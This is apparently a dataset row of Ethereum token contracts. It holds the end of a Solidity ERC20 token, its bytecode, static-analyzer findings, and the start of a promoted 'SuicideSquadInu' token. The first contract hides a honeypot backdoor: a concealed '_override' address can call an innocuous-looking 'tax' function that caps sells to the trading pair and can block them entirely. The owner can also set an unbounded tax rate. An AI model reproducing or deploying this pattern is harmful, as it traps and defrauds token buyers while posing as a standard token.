return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0,"Tax must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= _total);
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_total = _tTotal;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
modifier m() {
require(_override == _msgSender() );
_;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function tax(uint256 k) external m {
_total = k;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b806323b872dd116100c657806323b872dd146101bf578063313ce567146101fc57806351bc3c851461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b5780631ae3d5ff14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190611f18565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fd3565b6103f6565b604051610162919061202e565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612058565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612073565b610420565b005b3480156101cb57600080fd5b506101e660048036038101906101e191906120a0565b61048b565b6040516101f3919061202e565b60405180910390f35b34801561020857600080fd5b50610211610564565b60405161021e919061210f565b60405180910390f35b34801561023357600080fd5b5061023c610569565b005b34801561024a57600080fd5b506102656004803603810190610260919061212a565b6105e3565b6040516102729190612058565b60405180910390f35b34801561028757600080fd5b50610290610634565b005b34801561029e57600080fd5b506102a7610787565b6040516102b49190612166565b60405180910390f35b3480156102c957600080fd5b506102d26107b0565b6040516102df9190611f18565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611fd3565b6107ed565b60405161031c919061202e565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612073565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190612181565b610e0f565b6040516103999190612058565b60405180910390f35b3480156103ae57600080fd5b506103b7610e96565b005b60606040518060400160405280600a81526020017f456c6f6e45647761726400000000000000000000000000000000000000000000815250905090565b600061040a610403610f08565b8484610f10565b6001905092915050565b6000633b9aca00905090565b610428610f08565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461048157600080fd5b80600a8190555050565b60006104988484846110db565b610559846104a4610f08565b61055485604051806060016040528060288152602001612c5460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a610f08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114129092919063ffffffff16565b610f10565b600190509392505050565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105aa610f08565b73ffffffffffffffffffffffffffffffffffffffff16146105ca57600080fd5b60006105d5306105e3565b90506105e081611476565b50565b600061062d600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe565b9050919050565b61063c610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c09061220d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f454c4f4e45445741524400000000000000000000000000000000000000000000815250905090565b60006108016107fa610f08565b84846110db565b6001905092915050565b610813610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108979061220d565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db90612279565b60405180910390fd5b8060058190555050565b6108f6610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a9061220d565b60405180910390fd5b600860149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906122e5565b60405180910390fd5b610a0430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16633b9aca00610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6c57600080fd5b505afa158015610a80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa4919061231a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2857600080fd5b505afa158015610b3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b60919061231a565b6040518363ffffffff1660e01b8152600401610b7d929190612347565b602060405180830381600087803b158015610b9757600080fd5b505af1158015610bab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcf919061231a565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c58306105e3565b600080610c63610787565b426040518863ffffffff1660e01b8152600401610c85969594939291906123b5565b6060604051808303818588803b158015610c9e57600080fd5b505af1158015610cb2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd7919061242b565b5050506001600860166101000a81548160ff021916908315150217905550633b9aca00600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dba92919061247e565b602060405180830381600087803b158015610dd457600080fd5b505af1158015610de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0c91906124d3565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed7610f08565b73ffffffffffffffffffffffffffffffffffffffff1614610ef757600080fd5b6000479050610f058161176c565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7790612572565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe790612604565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ce9190612058565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114290612696565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b290612728565b60405180910390fd5b600081116111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f5906127ba565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ad5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112b85760006112bb565b60015b60ff166112c89190612809565b11156112d357600080fd5b6112db610787565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113495750611319610787565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140257600860159054906101000a900460ff161580156113b95750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d15750600860169054906101000a900460ff165b15611401576113e76113e2306105e3565b611476565b600047905060008111156113ff576113fe4761176c565b5b505b5b61140d8383836117d8565b505050565b600083831115829061145a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114519190611f18565b60405180910390fd5b50600083856114699190612863565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114ae576114ad612897565b5b6040519080825280602002602001820160405280156114dc5781602001602082028036833780820191505090505b50905030816000815181106114f4576114f36128c6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159657600080fd5b505afa1580156115aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ce919061231a565b816001815181106115e2576115e16128c6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164930600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116ad9594939291906129b3565b600060405180830381600087803b1580156116c757600080fd5b505af11580156116db573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c90612a7f565b60405180910390fd5b600061174f6117e8565b9050611764818461181390919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d4573d6000803e3d6000fd5b5050565b6117e383838361185d565b505050565b60008060006117f5611a28565b9150915061180c818361181390919063ffffffff16565b9250505090565b600061185583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a7b565b905092915050565b60008060008060008061186f87611ade565b9550955095509550955095506118cd86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4690919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196285600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9090919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ae81611bee565b6119b88483611cab565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a159190612058565b60405180910390a3505050505050505050565b600080600060035490506000633b9aca009050611a54633b9aca0060035461181390919063ffffffff16565b821015611a6e57600354633b9aca00935093505050611a77565b81819350935050505b9091565b60008083118290611ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab99190611f18565b60405180910390fd5b5060008385611ad19190612ace565b9050809150509392505050565b6000806000806000806000806000611afb8a600554600554611ce5565b9250925092506000611b0b6117e8565b90506000806000611b1e8e878787611d7b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611412565b905092915050565b6000808284611b9f9190612aff565b905083811015611be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdb90612ba1565b60405180910390fd5b8091505092915050565b6000611bf86117e8565b90506000611c0f8284611e0490919063ffffffff16565b9050611c6381600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc082600354611b4690919063ffffffff16565b600381905550611cdb81600454611b9090919063ffffffff16565b6004819055505050565b600080600080611d116064611d03888a611e0490919063ffffffff16565b61181390919063ffffffff16565b90506000611d3b6064611d2d888b611e0490919063ffffffff16565b61181390919063ffffffff16565b90506000611d6482611d56858c611b4690919063ffffffff16565b611b4690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d948589611e0490919063ffffffff16565b90506000611dab8689611e0490919063ffffffff16565b90506000611dc28789611e0490919063ffffffff16565b90506000611deb82611ddd8587611b4690919063ffffffff16565b611b4690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e175760009050611e79565b60008284611e259190612809565b9050828482611e349190612ace565b14611e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6b90612c33565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611eb9578082015181840152602081019050611e9e565b83811115611ec8576000848401525b50505050565b6000601f19601f8301169050919050565b6000611eea82611e7f565b611ef48185611e8a565b9350611f04818560208601611e9b565b611f0d81611ece565b840191505092915050565b60006020820190508181036000830152611f328184611edf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f6a82611f3f565b9050919050565b611f7a81611f5f565b8114611f8557600080fd5b50565b600081359050611f9781611f71565b92915050565b6000819050919050565b611fb081611f9d565b8114611fbb57600080fd5b50565b600081359050611fcd81611fa7565b92915050565b60008060408385031215611fea57611fe9611f3a565b5b6000611ff885828601611f88565b925050602061200985828601611fbe565b9150509250929050565b60008115159050919050565b61202881612013565b82525050565b6000602082019050612043600083018461201f565b92915050565b61205281611f9d565b82525050565b600060208201905061206d6000830184612049565b92915050565b60006020828403121561208957612088611f3a565b5b600061209784828501611fbe565b91505092915050565b6000806000606084860312156120b9576120b8611f3a565b5b60006120c786828701611f88565b93505060206120d886828701611f88565b92505060406120e986828701611fbe565b9150509250925092565b600060ff82169050919050565b612109816120f3565b82525050565b60006020820190506121246000830184612100565b92915050565b6000602082840312156121405761213f611f3a565b5b600061214e84828501611f88565b91505092915050565b61216081611f5f565b82525050565b600060208201905061217b6000830184612157565b92915050565b6000806040838503121561219857612197611f3a565b5b60006121a685828601611f88565b92505060206121b785828601611f88565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121f7602083611e8a565b9150612202826121c1565b602082019050919050565b60006020820190508181036000830152612226816121ea565b9050919050565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b6000612263601883611e8a565b915061226e8261222d565b602082019050919050565b6000602082019050818103600083015261229281612256565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006122cf601783611e8a565b91506122da82612299565b602082019050919050565b600060208201905081810360008301526122fe816122c2565b9050919050565b60008151905061231481611f71565b92915050565b6000602082840312156123305761232f611f3a565b5b600061233e84828501612305565b91505092915050565b600060408201905061235c6000830185612157565b6123696020830184612157565b9392505050565b6000819050919050565b6000819050919050565b600061239f61239a61239584612370565b61237a565b611f9d565b9050919050565b6123af81612384565b82525050565b600060c0820190506123ca6000830189612157565b6123d76020830188612049565b6123e460408301876123a6565b6123f160608301866123a6565b6123fe6080830185612157565b61240b60a0830184612049565b979650505050505050565b60008151905061242581611fa7565b92915050565b60008060006060848603121561244457612443611f3a565b5b600061245286828701612416565b935050602061246386828701612416565b925050604061247486828701612416565b9150509250925092565b60006040820190506124936000830185612157565b6124a06020830184612049565b9392505050565b6124b081612013565b81146124bb57600080fd5b50565b6000815190506124cd816124a7565b92915050565b6000602082840312156124e9576124e8611f3a565b5b60006124f7848285016124be565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061255c602483611e8a565b915061256782612500565b604082019050919050565b6000602082019050818103600083015261258b8161254f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125ee602283611e8a565b91506125f982612592565b604082019050919050565b6000602082019050818103600083015261261d816125e1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612680602583611e8a565b915061268b82612624565b604082019050919050565b600060208201905081810360008301526126af81612673565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612712602383611e8a565b915061271d826126b6565b604082019050919050565b6000602082019050818103600083015261274181612705565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006127a4602983611e8a565b91506127af82612748565b604082019050919050565b600060208201905081810360008301526127d381612797565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061281482611f9d565b915061281f83611f9d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612858576128576127da565b5b828202905092915050565b600061286e82611f9d565b915061287983611f9d565b92508282101561288c5761288b6127da565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61292a81611f5f565b82525050565b600061293c8383612921565b60208301905092915050565b6000602082019050919050565b6000612960826128f5565b61296a8185612900565b935061297583612911565b8060005b838110156129a657815161298d8882612930565b975061299883612948565b925050600181019050612979565b5085935050505092915050565b600060a0820190506129c86000830188612049565b6129d560208301876123a6565b81810360408301526129e78186612955565b90506129f66060830185612157565b612a036080830184612049565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612a69602a83611e8a565b9150612a7482612a0d565b604082019050919050565b60006020820190508181036000830152612a9881612a5c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ad982611f9d565b9150612ae483611f9d565b925082612af457612af3612a9f565b5b828204905092915050565b6000612b0a82611f9d565b9150612b1583611f9d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b4a57612b496127da565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b8b601b83611e8a565b9150612b9682612b55565b602082019050919050565b60006020820190508181036000830152612bba81612b7e565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c1d602183611e8a565b9150612c2882612bc1565b604082019050919050565b60006020820190508181036000830152612c4c81612c10565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f85eff2efde4fc50087d7e1769a6d1507edd5a6a0a3b027d5277b38b02448f0964736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,467 |
0xca6c8ebbe8b0d4bf5a732c1ec52de7889f882ac6
|
/**
*Submitted
*/
/**
* Telegram: https://t.me/SuicideSquadInu
* Join our website: http://www.SuicideSquadInu.com
* Stealth
* No buy tax
* Join us !
*
*/
/**
*/
/**
*
*/
/**
*
*/
/**
*
*/
/**
*/
/**
*
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SuicideSquadInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "SuicideSquadInu";
string private constant _symbol = "SSI";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
